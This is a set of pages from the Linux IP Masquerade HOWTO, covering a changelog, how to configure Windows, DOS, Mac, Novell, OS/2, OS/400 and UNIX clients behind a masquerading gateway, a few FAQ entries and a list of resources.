  • In the simple IPCHAINS setup, the #d out line for DHCP users, I was using the IPFWADM "-W" command instead of IPCHAINS's "-i" parameter.

  • Added a little blurb to the Forwarders section the resolution to the famous "ipfwadm: setsockopt failed: Protocol not available" error. This also includes a little /proc test to let users confirm if IPPORTFW is enabled in the kernel. I also added this error to a FAQ section for simple searching.

  • Added a Strong IPCHAINS ruleset to the HOWTO

  • Added a FAQ section explaining the "kernel: ip_masq_new(proto=UDP): no free ports." error.

  • Added an example of scripting IPMASQADM PORTFW rules

  • Updated a few of the Linux Documentation Project (LDP) URLs

  • Added Quake III support in the module loading sections of all the rc.firewall rulesets.

  • Fixed the IPMASQADM forwards for ICQ

  • 1.72 - 4/14/99 - Dranch: Added a large list of Windows NAT/Proxy alternatives with rough pricing and URLs to the FAQ.

  • 1.71 - 4/13/99 - Dranch: Added IPCHAINS setups for multiple internal MASQed networks. Changed the ICQ setup to use ICQ's default 60 second timeout and changed IPFWADM/IPCHAINS timeout to 160 seconds. Updated the MASQ and MASQ-DEV email list and archive subscription instructions.

  • 1.70 - 3/30/99 - Dranch: Added two new FAQ sections that cover SMTP/POP-3 timeout problems and how to masquerade multiple internal networks out onto different external IP addresses with IPROUTE2.

  • 1.65 - 3/29/99 - Dranch: Typo fixes, clarifications of required 2.2.x kernel options, added dynamic PPP IP address support to the strong firewall section, additional quake II module ports, noted that the LooseUDP patch is built into later 2.2.x kernels and its from Glenn Lamb and not Dan Kegel, added more game info in the compatibility section.

  • 1.62 - Dranch: Make the final first-draft changes to the doc and now announce it in the MASQ email list.

  • 1.61 - Dranch: Made editorial changes, cleaned things up and fixed some errors in the Windows95 and NT setups.

  • 1.58 - Dranch: Addition of the port forwarding sections; LooseUDP setup; Ident servers for IRC users, how to read firewall logs, deleted the CuSeeme Mini-HOWTO since it is rarely used.

  • 1.55 - Dranch: Complete overhaul, feature and FAQ addition, and editing sweep of the v1.50 HOWTO. Completed the 2.2.x kernel and IPCHAINS configurations. Did a conversion from IPAUTOFW to IPPORTFW for the examples that applied. Added many URLs to various other documentation and utility sites. There are so many changes.. I hope everyone likes it. Final publishing of this new rev of the HOWTO to the LDP project won't happen until the doc is looked over and approved by the IP MASQ email list (then v2.00).

  • 1.50 - Ambrose: A serious update to the HOWTO and the initial addition of the 2.2.0 and IPCHAINS configurations.

  • 1.20 - Ambrose: One of the more recent HOWTO versions that solely dealt with < 2.0.x kernels and IPFWADM.

Prev | Home
Reference | Up


Configuring the other internal to-be MASQed machines

Linux IP Masquerade HOWTO
Prev Next

Chapter 4. Configuring the other internal to-be MASQed machines

Table of Contents
4.1. Configuring Microsoft Windows 95 and OSR2
4.2. Configuring Windows NT
4.3. Configuring Windows for Workgroup 3.11
4.4. Configuring UNIX Based Systems
4.5. Configuring DOS using NCSA Telnet package
4.6. Configuring MacOS Based System Running MacTCP
4.7. Configuring MacOS Based System Running Open Transport
4.8. Configuring Novell network using DNS
4.9. Configuring OS/2 Warp
4.10. Configuring OS/400 on a IBM AS/400
4.11. Configuring Other Systems

Besides setting the appropriate IP address for each internal MASQed machine (either statically or though DHCP), you should also set each internal machine with the appropriate gateway IP address of the Linux MASQ server and required DNS servers. In general, this is rather straight forward. You simply enter the address of your Linux host (192.168.0.1 is used throughout this HOWTO) as the machine's gateway address.

For the Domain Name Service (DNS), you add in any DNS servers that are available to you to use. The most apparent one(s) should be the DNS servers that your Linux server uses. You can optionally add any "domain search" suffix as well for quicker connections, etc.

After you have properly reconfigured the internal MASQed machines, remember to restart their appropriate network services or reboot them if need be.

The following configuration instructions assume that you are using a Class C network with 192.168.0.1 as your Linux MASQ server's address. Please note that 192.168.0.0 and 192.168.0.255 are reserved TCP/IP address per RFC1918 for uses just like enabling IP Masquerade services.

As it stands, the following Platforms have been tested as internal MASQed machines. This is only an EXAMPLE of all compatible OSes out there:

  • Apple Macintosh OS and OS-X (with MacTCP or Open Transport or the BSD TCP/IP stack)

  • AT&T Unix (Caldera)

  • *BSD systems including Free/Net/Open/BSDi/386/etc.

  • Commodore Amiga (with AmiTCP or AS225-stack)

  • Digital VAX Stations 3520 and 3100 with UCX (TCP/IP stack for VMS)

  • Digital Ultrix, Digital Unix (Compaq Tru/64)

  • HP HP/UX

  • IBM AIX running on RS/6000, PowerPC, etc.

  • IBM OS/2 (including Warp v3)

  • IBM OS400 running on a AS/400

  • Linux distributions from vendors like Caldera, Corel, Debian, Mandrake, Redhat, Slackware, SuSe, etc. running various kernels like 1.2.x, 1.3.x, 2.0.x, 2.1.x, 2.2.x, 2.3.x, 2.4.x, etc.

  • Microsoft DOS (with NCSA Telnet package, DOS Trumpet works partially)

  • Microsoft Windows 3.1 (with the Netmanage or FTP packages)

  • Microsoft Windows For Workgroup 3.11 (with a TCP/IP package)

  • Microsoft Windows 95, OSR2, 98, 98se, Me

  • Microsoft Windows NT 3.51, 4.0, 2000, XP - (both workstation (professional) and server versions)

  • Novell Netware 4.01, 5.x, etc. with the TCP/IP service

  • SCO Openserver (v3.2.4.2 and 5) and UnixWare (AT&T Unix)

  • Sun Solaris 2.51, 2.6, 7, 8

  • heheh.. what else am I missing?

Prev | Home | Next
Configuring IP Forwarding Policies |  | Configuring Microsoft Windows 95 and OSR2


Configuring DOS using NCSA Telnet package

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.5. Configuring DOS using NCSA Telnet package

  1. If you haven't installed your network card, do so now. Descriptions to perform this task is beyond the scope of this document.

  2. Load the appropriate packet driver. For example: an NE2000 Ethernet card set for I/O port 300 and IRQ 10, would need to be issued nwpd 0x60 10 0x300

  3. Make a new directory, and then unpack the NCSA Telnet package: pkunzip tel2308b.zip

  4. Use a text editor to open the config.tel file

  5. Set myip=192.168.0.x (1 < x < 255), and netmask=255.255.255.0

  6. In this example, you should set hardware=packet, interrupt=10, ioaddr=60

  7. You should have at least one individual machine specified as the gateway, i.e. the Linux host:

         name=default
     host=yourlinuxhostname
     hostip=192.168.0.1
     gateway=1

  8. Have another specified as a domain name service:

         name=dns.domain.com ; hostip=123.123.123.123; nameserver=1

    Note: substitute the appropriate information about the DNS according what your Linux host uses

  9. Save your config.tel file

  10. As an initial test, ping the Linux MASQ server to test the network connection: ping 192.168.0.1 If you don't receive any replies, please verify your network configuration.

Prev | Home | Next
Configuring UNIX Based Systems | Up | Configuring MacOS Based System Running MacTCP


Configuring MacOS Based System Running MacTCP

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.6. Configuring MacOS Based System Running MacTCP

  1. If you haven't installed the appropriate driver software for your Ethernet adapter, do so now. Descriptions to perform this task is beyond the scope of this document.

  2. Open the MacTCP control panel. Select the appropriate network driver (Ethernet, NOT EtherTalk) and click on the 'More...' button.

  3. Under 'Obtain Address:', click 'Manually'.

  4. Under 'IP Address:', select class C from the popup menu. Ignore the rest of the dialog box sections.

  5. Fill in the appropriate information under 'Domain Name Server Information:'.

  6. Under 'Gateway Address:', enter 192.168.0.1

  7. Click 'OK' to save the settings. In the main window of the MacTCP control panel, enter the IP address of your Mac (192.168.0.x, 1 < x < 255) in the 'IP Address:' box.

  8. Close the MacTCP control panel. If a dialog box pops up, notifying you to do so, then restart the system.

  9. You may optionally ping the Linux box to test the network connection. If you have the freeware program MacTCP Watcher , click on the 'Ping' button, and enter the address of your Linux box (192.168.0.1) in the dialog window that pops up. (This is only an INTERNAL LAN connection test, you can't ping the outside world yet.) If you don't see "replies" to your PINGs, please verify your network configuration.

  10. You can optionally create a Hosts file in your System Folder so that you can use the hostnames of the machines on your LAN. The file should already exist in your System Folder, and should contain some (commented-out) sample entries which you can modify according to your needs.

Prev | Home | Next
Configuring DOS using NCSA Telnet package | Up | Configuring MacOS Based System Running Open Transport


Configuring Novell network using DNS

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.8. Configuring Novell network using DNS

  1. If you haven't installed the appropriate driver software for your Ethernet adapter, do so now. Descriptions to perform this task is beyond the scope of this document.

  2. Downloaded tcpip16.exe from The Novell LanWorkPlace page

  3. edit c:\nwclient\startnet.bat: (here is a copy of mine)
SET NWLANGUAGE=ENGLISH
LH LSL.COM
LH KTC2000.COM
LH IPXODI.COM
LH tcpip
LH VLM.EXE
F:

  4. edit c:\nwclient\net.cfg: (change link driver to yours i.e. NE2000)
Link Driver KTC2000
        Protocol IPX 0 ETHERNET_802.3
        Frame ETHERNET_802.3
        Frame Ethernet_II
        FRAME Ethernet_802.2

NetWare DOS Requester
           FIRST NETWORK DRIVE = F
           USE DEFAULTS = OFF
           VLM = CONN.VLM
           VLM = IPXNCP.VLM
           VLM = TRAN.VLM
           VLM = SECURITY.VLM
           VLM = NDS.VLM
           VLM = BIND.VLM
           VLM = NWP.VLM
           VLM = FIO.VLM
           VLM = GENERAL.VLM
           VLM = REDIR.VLM
           VLM = PRINT.VLM
           VLM = NETX.VLM

Link Support
        Buffers 8 1500
        MemPool 4096

Protocol TCPIP
        PATH SCRIPT     C:\NET\SCRIPT
        PATH PROFILE    C:\NET\PROFILE
        PATH LWP_CFG    C:\NET\HSTACC
        PATH TCP_CFG    C:\NET\TCP
        ip_address      192.168.0.xxx
        ip_router       192.168.0.1

Change the IP address in the above "ip_address" field (192.168.0.x, 1 < x
< 255) and finally create c:\bin\resolv.cfg:

SEARCH DNS HOSTS SEQUENTIAL
NAMESERVER xxx.xxx.xxx.xxx
NAMESERVER yyy.yyy.yyy.yyy

  5. Now edit the above "NAMESERVER" entries and replace them with the correct IP addresses for your local DNS server.

  6. Issue a ping command: ping 192.168.0.1 to test the connection to your gateway machine. (This is only an INTERNAL LAN connection test, you can't ping the outside world yet.) If you don't see "replies" to your PINGs, please verify your network configuration.

Prev | Home | Next
Configuring MacOS Based System Running Open Transport | Up | Configuring OS/2 Warp


Configuring MacOS Based System Running Open Transport

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.7. Configuring MacOS Based System Running Open Transport

  1. If you haven't installed the appropriate driver software for your Ethernet adapter, do so now. Descriptions to perform this task is beyond the scope of this document.

  2. Open the TCP/IP Control Panel and choose 'User Mode ...' from the Edit menu. Make sure the user mode is set to at least 'Advanced' and click the 'OK' button.

  3. Choose 'Configurations...' from the File menu. Select your 'Default' configuration and click the 'Duplicate...' button. Enter 'IP Masq' (or something to let you know that this is a special configuration) in the 'Duplicate Configuration' dialog, it will probably say something like 'Default copy'. Then click the 'OK' button, and the 'Make Active' button

  4. Select 'Ethernet' from the 'Connect via:' pop-up.

  5. Select the appropriate item from the 'Configure:' pop-up. If you don't know which option to choose, you probably should re-select your 'Default' configuration and quit. I use 'Manually'.

  6. Enter the IP address of your Mac (192.168.0.x, 1 < x < 255) in the 'IP Address:' box.

  7. Enter 255.255.255.0 in the 'Subnet mask:' box.

  8. Enter 192.168.0.1 in the 'Router address:' box.

  9. Enter the IP addresses of your domain name servers in the 'Name server addr.:' box.

  10. Enter the name of your Internet domain (e.g. 'microsoft.com') in the 'Starting domain name' box under 'Implicit Search Path:'.

  11. The following procedures are optional. Incorrect values may cause erratic behavior. If you're not sure, it's probably better to leave them blank, unchecked and/or un-selected. Remove any information from those fields, if necessary. As far as I know, there is no way to use the TCP/IP dialogs to tell the system not to use a previously selected alternate "Hosts" file. If you know, I would be interested.

    Check the '802.3' if your network requires 802.3 frame types.

  12. Click the 'Options...' button to make sure that the TCP/IP is active. I use the 'Load only when needed' option. If you continuously run and quit TCP/IP applications without rebooting your machine, you may find that unchecking the 'Load only when needed' option will prevent/reduce the effects on your machine's memory management. With the item unchecked, the TCP/IP protocol stacks are always loaded and available for use. If checked, the TCP/IP stacks are automatically loaded when needed and un-loaded when not. It's the loading and unloading process that can cause your machine's memory to become fragmented.

  13. You may ping the Linux box to test the network connection. If you have the freeware program MacTCP Watcher, click on the 'Ping' button, and enter the address of your Linux box (192.168.0.1) in the dialog box that pops up. (This is only an INTERNAL LAN connection test, you can't ping the outside world yet.) If you don't see "replies" to your PINGs, please verify your network configuration.

  14. You can optionally create a Hosts file in your System Folder so that you can use the hostnames of the machines on your LAN. The file may or may not already exist in your System Folder. If so, it should contain some (commented-out) sample entries which you can modify according to your needs. If not, you can get a copy of the file from a system running MacTCP, or just create your own (it follows a subset of the Unix /etc/hosts file format, described on RFC1035). Once you've created the file, open the TCP/IP control panel, click on the 'Select Hosts File...' button, and open the Hosts file.

  15. Click the close box or choose 'Close' or 'Quit' from the File menu, and then click the 'Save' button to save the changes you have made.

  16. The changes take effect immediately, but rebooting the system won't hurt.

Prev | Home | Next
Configuring MacOS Based System Running MacTCP | Up | Configuring Novell network using DNS


Configuring OS/2 Warp

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.9. Configuring OS/2 Warp

  1. If you haven't installed the appropriate driver software for your Ethernet adapter, do so now. Descriptions to perform this task is beyond the scope of this document.

  2. Install the TCP/IP protocol if you don't have it already.

  3. Go to Programs/TCP/IP (LAN) / TCP/IP Settings

  4. In 'Network', add your TCP/IP Address (192.168.0.x) and set your netmask (255.255.255.0)

  5. Under 'Routing', press 'Add'. Set the Type to 'default' and type the IP Address of your Linux Box in the Field 'Router Address'. (192.168.0.1).

  6. Set the same DNS (Nameserver) Address that your Linux host uses in 'Hosts'.

  7. Close the TCP/IP control panel. Say yes to the following question(s).

  8. Reboot your system

  9. You may ping the Linux box to test the network configuration. Type 'ping 192.168.0.1' in a 'OS/2 Command prompt Window'. When ping packets are received all is ok.

Prev | Home | Next
Configuring Novell network using DNS | Up | Configuring OS/400 on a IBM AS/400


Configuring OS/400 on a IBM AS/400

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.10. Configuring OS/400 on a IBM AS/400

The descriptions to configure TCP/IP on OS/400 version V4R1M0 running on a AS/400 is beyond the scope of this document.

1) To perform any communications configuration tasks on your AS/400, you must have the special authority of *IOSYSCFG (I/O System Configuration) defined in your user profile. You can check the characteristics of your user profile with the DSPUSRPRF command.

2) Type GO CFGTCP command th reach the Configure TCP/IP menu.

3) Select Option 2 - Work with TCP/IP Routes.

4) Enter a 1 on the Opt field to add a route. * In Route Destination type *DFTROUTE * In Subnet Mask type *NONE * In Type of Service type *NORMAL * In Nex Hop type the address of your gataway (the Linux box)

Prev | Home | Next
Configuring OS/2 Warp | Up | Configuring Other Systems


Configuring Other Systems

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.11. Configuring Other Systems

The same logic should apply to setting up other platforms. Consult the sections above. If you're interested in writing about any of systems that have not been covered yet, please send a detail setup instruction to ambrose@writeme.com and dranch@trinnet.net.

Prev | Home | Next
Configuring OS/400 on a IBM AS/400 | Up | Testing IP Masquerade


Configuring UNIX Based Systems

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.4. Configuring UNIX Based Systems

  1. If you haven't installed your network card and either re-configured the network subsystem or recompiled your kernel with the appropriate adapter driver, do so now. Descriptions to perform this task is beyond the scope of this document but are covered in the Networking HOWTO.

  2. Install TCP/IP networking, such as the net-tools package, if you don't have it already.

  3. Set IPADDR to 192.168.0.x (1 < x < 255), then set NETMASK to 255.255.255.0, GATEWAY to 192.168.0.1, and BROADCAST to 192.168.0.255.

    • Redhat (Mandrake / TurboLinux / etc): You can edit the /etc/sysconfig/network-scripts/ifcfg-eth0 file, or simply do so through the Control Panel (Linuxconf).

    • Slackware: You need to edit the /etc/rc.d/rc.inet1 file to configure the network subsystem.

    • To Add: Debian, Suse, Caldera, etc. Please email dranch@trinnet.net if you can tell me what distro uses what files to configure the networking subsystem.

    Beyond this, most Linux distributions use significantly different network configuration mechanisms let alone other UNIXes such as SunOS, BSDi, Solaris, AIX, TruUnix, FreeBSD, etc.). Please refer to your specific UNIX documentation for more details.

  4. Add your domain name service (DNS) and domain search suffix in /etc/resolv.conf and for the appropreiate UNIX versions, edit the /etc/nsswitch.conf file to enable DNS services.

  5. You may also want to update your /etc/networks file depending on your version of UNIX and the system's settings.

  6. Restart the appropriate services, or simply restart your system.

  7. As an initial test, run the ping command: ping 192.168.0.1 to test the connection to your gateway machine. (This is only an INTERNAL LAN connection test, so you might not be able to ping the outside world yet.) If you don't see "replies" to your PINGs, please verify your network configuration.

Prev | Home | Next
Configuring Windows for Workgroup 3.11 | Up | Configuring DOS using NCSA Telnet package


Configuring Windows for Workgroup 3.11

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.3. Configuring Windows for Workgroup 3.11

  1. If you haven't installed your network card and adapter driver, do so now. Descriptions to perform this task is beyond the scope of this document.

  2. Install the TCP/IP 32b package if you haven't already.

  3. In 'Main'/'Windows Setup'/'Network Setup', click on 'Drivers'.

  4. Highlight 'Microsoft TCP/IP-32 3.11b' in the 'Network Drivers' section, click 'Setup'.

  5. Set the IP Address to 192.168.0.x (1 < x < 255), then set the Subnet Mask to 255.255.255.0 and Default Gateway to 192.168.0.1

  6. Do not enable any of the following options (unless you know what you are doing):

    • 'Automatic DHCP Configuration' : Unless you have a DHCP server running on your network.

    • Put anything in the 'WINS Server' input areas : Unless you have setup one or more WINS servers.

  7. Click 'DNS', fill in the appropriate information your Linux host uses (usually found in /etc/resolv.conf). Then click 'OK' when you're done with it.

  8. Click 'Advanced', check 'Enable DNS for Windows Name Resolution' and 'Enable LMHOSTS lookup' found in c:\windows.

  9. Click 'OK' in all dialog boxes and restart the system.

  10. As an initial test, ping the linux box to test the network connection: 'File/Run', type: ping 192.168.0.1 (This is only an INTERNAL LAN connection test so you might not be able to ping the outside world yet.) If you don't see "replies" to your PINGs, please verify your network configuration.

Prev | Home | Next
Configuring Windows NT | Up | Configuring UNIX Based Systems


Configuring Microsoft Windows 95 and OSR2

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.1. Configuring Microsoft Windows 95 and OSR2

  1. ** Please note that some prompts might be different based upon the build version of Windows95 you are running **

    If you haven't installed your network card and adapter driver, do so now. Descriptions to perform this step is beyond the scope of this document and though it is fairly simple, if you haven't done this before, please seek assitance.

  2. Go to the 'Control Panel' --> 'Network'.

  3. Click on Add --> Protocol --> Manufacture: Microsoft --> Protocol: 'TCP/IP protocol' if you don't already have it installed.

  4. Highlight the TCP/IP item bound to your correct Windows95 network card e.g. (TCP/IP --> Intel EtherExpress Pro/100+) and select 'Properties'. Here, you have two options: configure a static address or use DHCP. Static addresses are simple but require that you NEVER configure duplication IPs on different machines. The alternative is DHCP which automatically configures all DHCP-enabled workstations things like IP addresses, DNS servers, etc. from a central server (typically the Linux MASQ server).

    DHCP enabled:

    To use DHCP, simply click on the "Use DHCP to assign addresses" button. Please note that configuring a DHCP server is beyond the scope of this HOWTO but it is fully covered in TrinityOS and other Linux HOWTOs.

    Static Addresses:

    Now goto the 'IP Address' tab and set IP Address to 192.168.0.x, (1 < x < 255), and set the Subnet Mask to 255.255.255.0

  5. Now select the "Gateway" tab and add 192.168.0.1 as your gateway under 'Gateway' and hit "Add".

  6. Under the 'DNS Configuration' tab, make sure to put enter in a name for this machine and specify your official domain name. If you don't have your own domain, enter in the domain of your ISP. Next, you need to specify the DNS servers you plan on using.

    DHCP: No entries are required as this is configured dynamically via DHCP.

    STATIC: Add all of the DNS servers that your Linux MASQ server uses (usually found in /etc/resolv.conf). Usually these DNS servers are located at your ISP though you could be running either your own Caching or Authoritative DNS server on your Linux MASQ server as well. Again, setting up DNS services is beyond the scope of this HOWTO but it is covered by TrinityOS as well as the LDP's DNS HOWTO.

    Optionally, you can add any appropriate domain search suffixes as well. This allows users to simply type in the hostname of the destination computer instead of the fully qualified domain name (FQDN). This is similar to the PATH function for finding common Unix commands.

  7. Leave all of the other settings alone as they are unless (even dangerous) if you don't know what you're doing.

  8. Click 'OK' in all dialog boxes and restart your system.

  9. As an initial test, Ping the Linux MASQ server to test the network connection: 'Start/Run', type: ping 192.168.0.1(This is only an INTERNAL LAN connection test, you might not be able to ping the outside world yet.) If you don't see "replies" to your PINGs, please verify your network configuration.

  10. You can optionally create a HOSTS file in the C:\Windows directory so that you can ping the "hostname" of the machines on your LAN without the need for a DNS server. There is an example called HOSTS.SAM in the C:\windows directory for an example.

Prev | Home | Next
Configuring the other internal to-be MASQed machines | Up | Configuring Windows NT


Configuring Windows NT

Linux IP Masquerade HOWTO
Prev Chapter 4. Configuring the other internal to-be MASQed machines Next

4.2. Configuring Windows NT

  1. If you haven't installed your network card and adapter driver, do so now. Descriptions to perform this task is beyond the scope of this document.

  2. Go to 'Control Panel' --> 'Network' --> Protocols

  3. Add the TCP/IP Protocol and related Components from the 'Add Software' menu if you don't have TCP/IP service installed already.

  4. Under 'Network Software and Adapter Cards' section, highlight the 'TCP/IP Protocol' in the 'Installed Network Software' selection box.

  5. In 'TCP/IP Configuration', select the appropriate adapter, e.g. [1]Intel EtherExpress Pro/100+. Then set the IP Address to 192.168.0.x (1 < x < 255), then set the Subnet Mask to 255.255.255.0 and Default Gateway to 192.168.0.1.

  6. Do not enable any of the following options (unless you know what you are doing):

    • 'Automatic DHCP Configuration' : Unless you have a DHCP server running on your network.

    • Put anything in the 'WINS Server' input areas : Unless you have setup one or more WINS servers.

    • Enable IP Forwardings : Unless you are routing on your NT machine and really -REALLY- know EXACTLY what you're doing.

  7. Click 'DNS', fill in the appropriate information that your Linux host uses (usually found in /etc/resolv.conf) and then click 'OK' when you're done.

  8. Click 'Advanced', be sure to DISABLE 'DNS for Windows Name Resolution' and 'Enable LMHOSTS lookup' unless you known what these options do. If you want to use a LMHOSTS file, it is stored in C:\winnt\system32\drivers\etc.

  9. Click 'OK' on all dialog boxes and restart the system.

  10. As an initial test, ping the Linux MASQ server to test the network connection: 'File/Run', type: ping 192.168.0.1(This is only an INTERNAL LAN connection test, you you might not be able to ping the outside world yet.) If you don't see any "replies" to your PINGs, please verify your network configuration.

Prev | Home | Next
Configuring Microsoft Windows 95 and OSR2 | Up | Configuring Windows for Workgroup 3.11


CU-SeeMe and Linux IP-Masquerade

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.8. CU-SeeMe and Linux IP-Masquerade

Linux IP Masquerade supports CuSeeme via the "ip_masq_cuseeme" kernel module. This kernel modules should be loaded in the /etc/rc.d/rc.firewall script. Once the "ip_masq_cuseeme" module is installed, you should be able to both initiate and receive CuSeeme connections to remote reflectors and/or users.

NOTE: It is recommended to use the IPPORTFW tool instead of the old IPAUTOFW tool for running CuSeeme.

If you need more explicit information on configuring CuSeeme, see Michael Owings's CuSeeMe page for a Mini-HOWTO or The IP Masquerade Resources for a mirror of the Mini-HOWTO.

Prev | Home | Next
IPPORTFW, IPMASQADM, IPAUTOFW, REDIR, UDPRED, and other Port Forwarding tools | Up | Mirabilis ICQ


( Developers ) - I want to help with IP Masquerade development. What can I do?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.42. ( Developers ) - I want to help with IP Masquerade development. What can I do?

Join the Linux IP Masquerading DEVELOPERS list and ask the developers there what you can do to help. For more details on joining the list, check out Section 7.5 FAQ section.

Please DON'T ask NON-IP-Masquerade development related questions there!!!!

Prev | Home | Next
( Wussing out ) - I can't get IP Masquerade to work! What options do I have for Windows Platforms? | Up | ( More INFO ) - Where can I find more information on IP Masquerade?


IP Masquerade and Dial-on-Demand Connections

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.6. IP Masquerade and Dial-on-Demand Connections

  1. If you would like to setup your network to automatically dial up the Internet, either the Diald demand dial-up or new versions of the PPPd packages will be of great utility. Both Diald and PPPd are very powerful in their configuration flexibility.

  2. To setup PPPd for Dial-on-Demand, pease check out the PPPd Homepage

  3. To setup Diald, please check out the Diald Homepage or TrinityOS - Section 23

  4. Once Dial on Demand and IP Masq have been setup properly, any MASQed client machines that initiate a web, telnet or ftp session will make the Linux box dynamically bring up its Internet link.

  5. There is a timeout that will occur with the first connection. This is inevitable if you are using analog modems. The time taken to establish the modem link and the PPP connections may cause your client program (WWW browser, etc.) to stop. This isn't common though. If this does happen, just retry that Internet traffic request (say a WWW page) again and it should come up fine. You can also try setting echo "1" > /proc/sys/net/ipv4/ip_dynaddr kernel option to help with this initial setup.

Prev | Home | Next
IP Masquerading multiple internal networks | Up | IPPORTFW, IPMASQADM, IPAUTOFW, REDIR, UDPRED, and other Port Forwarding tools


( MASQ and various networks ) - Can I use a cable modem (both bi-directional and with modem returns), DSL, satellite link, etc. to connect to the Internet and use IP Masquerade?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.9. ( MASQ and various networks ) - Can I use a cable modem (both bi-directional and with modem returns), DSL, satellite link, etc. to connect to the Internet and use IP Masquerade?

Yes, as long as Linux supports that network interface, it should work. If you receive a dynamic IP address, please see the URL under the "Does IP Masquerade work with dynamically assigned IP" FAQ item above.

Prev | Home | Next
( MASQ and Dynamic IPs ) - Does IP Masquerade work with dynamically assigned IP addresses? | Up | ( Dial on Demand ) - Can I use Diald or the Dial-on-Demand feature of PPPd with IP MASQ?


( Distro Setup ) - How can I get IP Masquerade running on Redhat, Debian, Slackware, etc.?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.12. ( Distro Setup ) - How can I get IP Masquerade running on Redhat, Debian, Slackware, etc.?

No matter which Linux distribution you have, the procedures for setting up IP Masquerade mentioned in this HOWTO should apply. Some distributions may have GUI or special configuration files that make the setup easier. We tried our best to write this HOWTO as general as possible.

Prev | Home | Next
( Apps ) - What applications are supported with IP Masquerade? | Up | ( Timeouts ) - Connections seem to break if I don't use them often. Why is that?


Useful Resources

Linux IP Masquerade HOWTO
Prev Chapter 8. Miscellaneous Next

8.1. Useful Resources

  • IP Masquerade Resource page Will have all the current information for setting up IP Masquerade on 2.0.x, 2.2.x, and even old 1.2 kernels!

  • Juan Jose Ciarlante's WWW site who is one of the current Linux IP Masquerade maintainers. A mirror can be fount at ipmasq.cjb.net/juanjox

  • IP Masquerade mailing list Archives contains the recent messages sent to the mailing lists.

  • David Ranch's Linux page including the TrinityOS Linux document and current versions of the IP-MASQ-HOWTO.. Topics such as IP MASQ, strong IPFWADM/IPCHAINS rulesets, PPP, Diald, Cablemodems, DNS, Sendmail, Samba, NFS, Security, etc. are covered.

  • The IP Masquerading Applications page: A comprehensive list of applications that work or can be tuned to work through a Linux IP masquerading server.

  • For users setting up IP Masq on MkLinux, email Taro Fukunaga at tarozax@earthlink.net for a copy of his short MkLinux version of this HOWTO.

  • IP masquerade FAQ has some general information

  • Paul Russel's http://netfilter.filewatcher.org/ipchains/ (mirror at Samba.org) doc and its possibly older backup at Linux IPCHAINS HOWTO. This HOWTO has lots of information for IPCHAINS usage, as well as source and binaries for the ipchains tool.

  • X/OS Ipfwadm page contains sources, binaries, documentation, and other information about the ipfwadm package

  • Check out the GreatCircle's Firewall mailing list for a great resource about strong firewall rulesets.

  • The LDP Network Administrator's Guide is a MUST for the beginner Linux administrator trying to set up a network.

  • The Linux NET-3-4 HOWTO is also another comprehensive document on how to setup and configure Linux networking.

  • Linux ISP Hookup HOWTO and Linux PPP HOWTO gives you information on how to connect your Linux host to the Internet

  • Linux Ethernet-Howto is a good source of information about setting up a LAN running over Ethernet.

  • Donald Becker's NIC drivers and Support Utils

  • You may also be interested in Linux Firewalling and Proxy Server HOWTO

  • Linux Kernel HOWTO will guide you through the kernel compilation process

  • Other Linux HOWTOs such as Kernel HOWTO

  • Posting to the USENET newsgroup: comp.os.linux.networking

Prev | Home | Next
Miscellaneous | Up | Linux IP Masquerade Resource


( EQL ) - I need help with EQL connections and IP Masq

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.40. ( EQL ) - I need help with EQL connections and IP Masq

EQL has nothing to do with IP Masq though they are commonly teamed up on Linux boxes. Because of this, I recommend checking out the NEW version of Robert Novak's EQL HOWTO for all your EQL needs.

Prev | Home | Next
( Upgrades cont.) - I've just upgraded to a 2.0.38+ kernels later, why isn't IP Masquerade working? | Up | ( Wussing out ) - I can't get IP Masquerade to work! What options do I have for Windows Platforms?


Frequently Asked Questions

Linux IP Masquerade HOWTO
Prev Next

Chapter 7. Frequently Asked Questions

Table of Contents
7.1. ( Distro ) - What Linux Distributions support IP Masquerading?
7.2. ( Requirements ) - What are the minimum hardware requirements and any limitations for IP Masquerade? How well does it perform?
7.3. ( Errors ) - When I run the rc.firewall command, I get "command not found" errors. Why?
7.4. ( Still wont work ) - I've checked all my configurations, I still can't get IP Masquerade to work. What should I do?
7.5. ( Email list ) - How do I join or view the IP Masquerade and/or IP Masqurade Developers mailing lists and archives?
7.6. ( NAT vs. Proxy ) - How does IP Masquerade differ from Proxy or NAT services?
7.7. ( GUI ) - Are there any GUI firewall creation/management tools?
7.8. ( MASQ and Dynamic IPs ) - Does IP Masquerade work with dynamically assigned IP addresses?
7.9. ( MASQ and various networks ) - Can I use a cable modem (both bi-directional and with modem returns), DSL, satellite link, etc. to connect to the Internet and use IP Masquerade?
7.10. ( Dial on Demand ) - Can I use Diald or the Dial-on-Demand feature of PPPd with IP MASQ?
7.11. ( Apps ) - What applications are supported with IP Masquerade?
7.12. ( Distro Setup ) - How can I get IP Masquerade running on Redhat, Debian, Slackware, etc.?
7.13. ( Timeouts ) - Connections seem to break if I don't use them often. Why is that?
7.14. ( Odd Behavior ) - When my Internet connection first comes up, nothing works. If I try again, everything then works fine. Why is this?
7.15. ( MTU ) - IP MASQ seems to be working fine but some sites don't work. This usually happens with WWW and FTP.
7.15.1. Changing the MTU of a PPP link:
7.15.2. Old UNIX Serial interfaces:
7.15.3. PPPoE Users:
